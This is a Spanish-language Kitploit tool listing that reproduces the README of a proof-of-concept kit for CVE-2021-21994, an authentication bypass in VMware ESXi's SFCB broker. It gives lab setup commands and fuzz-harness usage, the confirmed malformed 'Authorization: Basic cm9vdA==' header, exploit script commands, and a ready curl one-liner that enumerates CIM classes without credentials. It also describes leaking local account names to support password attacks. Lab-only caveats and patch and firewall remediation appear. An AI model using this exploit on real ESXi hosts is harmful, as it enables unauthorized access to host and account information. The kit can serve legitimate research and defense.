Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2021-21994_POC — Valida y explota la omisión de autenticación SFCB de VMware ESXi (CVE-2021-21994) mediante un harness de sonda/fuzzing, lo que permite la enumeración CIM-XML no autenticada. | Kitploit
Herramientas/GitHubGitHub/mreza-en/cve-2021-21994_poc
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónFuzzingPruebas de PenetraciónAutenticación
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

Valida y explota la omisión de autenticación SFCB de VMware ESXi (CVE-2021-21994) mediante un harness de sonda/fuzzing, lo que permite la enumeración CIM-XML no autenticada.

Ver Repositorio
7hace 26 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-21994 — Bypass de autenticación en SFCB de VMware ESXi — Kit de investigación de laboratorio

CampoValor
TipoCWE-287 Autenticación incorrecta (bypass de autenticación)
ComponenteSFCB (Small Footprint CIM Broker) dentro de VMware ESXi
Vector de ataqueRed, TCP 5989 (CIM-XML sobre HTTPS), "solicitud especialmente manipulada"
AfectadosESXi 6.5 / 6.7 / 7.0 anteriores a VMSA-2021-0014 (julio de 2021)
CorrecciónBuilds parcheadas de VMSA-2021-0014
PoC públicoNinguno. VMware nunca reveló la forma de la solicitud

Referencias: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

Debido a que no existe ningún PoC, este kit es una herramienta de búsqueda autoguiada: sfcb_probe.py valida un oráculo (check) y luego lanza un diccionario de mutaciones dirigidas contra /cimom (fuzz) y marca cualquier 200-con-cuerpo-CIM obtenido sin credenciales válidas.

Úsalo solo contra tu propia VM de laboratorio o contra objetivos explícitamente dentro de un alcance de compromiso autorizado.

1. Configuración del laboratorio (coincidir con el objetivo: ESXi 6.5)

  1. Consigue un ISO de ESXi 6.5 (cualquier build anterior a julio de 2021 sirve; idealmente la misma clase de build 6.5.0 que el objetivo):
    • Portal de soporte de Broadcom (cuenta gratuita) → descargas de VMware vSphere Hypervisor 6.5
    • Las descargas de "imagen personalizada de ESXi 6.5" de HPE / Dell son públicas en sus sitios de soporte
  2. VM anidada en VMware Workstation/Fusion (o KVM):
    • Habilita "Virtualize Intel VT-x/EPT" en la VM
    • 2 vCPU, 6 GB de RAM, disco fino; NIC E1000 para el instalador
    • Instala en modo de evaluación — no se necesita clave de licencia para un laboratorio
  3. Habilita el broker CIM y su conjunto de reglas de firewall (DCUI → Troubleshooting → habilita ESXi Shell/SSH, y luego por SSH):
    root@kitploit:~
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. Haz una instantánea de la VM (estado limpio para volver a probar).

2. Ejecutar el harness

root@kitploit:~
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. HALLAZGOS (laboratorio + ESXi 6.5 objetivo, confirmado 2026-08-15)

El bypass fue encontrado. Causa raíz: sfcbd falla en OPEN cuando el token de autenticación Basic no se decodifica en un par user:password que contenga :.

Cabecera PoC mínima (base64 de root, sin dos puntos):

root@kitploit:~
Authorization: Basic cm9vdA==

Matriz de evidencia de la ejecución de fuzz:

Forma de la solicitudEstadoSignificado
sin cabecera / user:pass b64 válido / : / root:401hay dos puntos → la autenticación se ejecuta → rechazado
b64("root") (sin dos puntos)200 + cuerpo CIMsin dos puntos → autenticación omitida
b64("\0:\0") (cadena C vacía)200igual: sin dos puntos
base64 inválido (espacio / BOM / prefijo Basic)200fallo de decodificación → autenticación omitida
Basic\tTOKEN (separador de tabulación)401la división por cualquier WSP se analiza correctamente → la autenticación se ejecuta
Basic␣␣TOKEN (doble espacio)200la división por espacio único → el token comienza con espacio → falla la decodificación

Una respuesta 200 transporta un sobre CIM-XML despachado dentro del CIMOM (p. ej. ERROR CODE="5" Class not found), lo que demuestra que se superó la capa de autenticación HTTP — la misma solicitud sin la cabecera malformada devuelve 401.

Uso del exploit:

root@kitploit:~
python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

curl en una línea para capturas del informe:

root@kitploit:~
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

Impacto: acceso de lectura no autenticado al broker CIM:

  • Enumeración de cuentas: las instancias de VMware_Identity filtran todas las cuentas locales de ESXi (observado en el laboratorio 6.5: root, dcui, vpxuser — host gestionado por vCenter — además de usuarios personalizados), lo que permite ataques de contraseña dirigidos.
  • Inventario completo del host/hardware a través de las 436 clases expuestas (sistema, procesadores, memoria, almacenamiento/datastores, endpoints de red, versiones de firmware/BIOS, sensores, identidad del software instalado).
  • Sin vía de escritura: los servicios RBAC (VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) declaran métodos de perfil DMTF (AssignRoles, AssignAccess, ...) pero no exponen ninguna instancia — los métodos son solo de esquema. La creación/modificación de cuentas vía CIM no es posible con este CVE; el techo de impacto es la divulgación de información no autenticada.

Veredictos:

  • BYPASS-STRONG — HTTP 200 + cuerpo CIM-XML sin credenciales válidas → has encontrado el bypass; la solicitud volcada es tu primitiva de exploit.
  • bypass-weak(200-no-cim-body) — 200 pero sin cuerpo CIM; inspecciona el volcado.
  • blocked / info(400) — rechazado. Nota: un 400 normalmente significa que la solicitud murió antes de que se evaluara la autenticación — sigue siendo interesante, pero no es un bypass.

Nota sobre cuerpos CIM hechos a mano: según DSP0200, EnumerateInstanceNames requiere el IPARAMVALUE ClassName. Un cuerpo sin él puede ser rechazado por razones no relacionadas con la autenticación y envenenar el oráculo — el harness siempre envía el cuerpo correcto según la especificación.

3. Hoja de ruta si el diccionario no encuentra nada

El fuzzer cubre las formas clásicas de confusión del analizador de autenticación HTTP. Si ninguna acierta, la vía restante (y definitiva) es el diffing binario:

  1. Descarga el VIB esx-base de una build vulnerable (p. ej. clase 6.5.0 GA) y una build 6.5/6.7/7.0 parcheada con VMSA-2021-0014 desde el índice público del depósito de VMware: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. Extrae ambos VIBs (son archivos ar → payload vib → cpio), compara los binarios sfcbd* con Ghidra + BinDiff.
  3. Concéntrate en el análisis de cabeceras HTTP / decodificación de autenticación Basic / despacho del proveedor de autenticación. El SFCB de código abierto upstream (SBLIM sfcb en SourceForge) es una referencia estructural útil para la ruta de código HTTP+auth, aunque el fork de ESXi está modificado.
  4. Convierte la ruta de código corregida en la solicitud manipulada exacta, agrégala al harness, verifícala en la VM de laboratorio — ese es el exploit real.

4. Notas operativas para el informe

  • El oráculo por sí solo (no autenticado → 401) ya es un hallazgo útil para el endurecimiento: 5989 nunca debería ser alcanzable desde Internet.
  • Si se confirma, remediación: aplicar parches VMSA-2021-0014+ (ESXi 6.5 está en fin de vida — se recomienda migrar) o bloquear con firewall 5989.
Descargar herramienta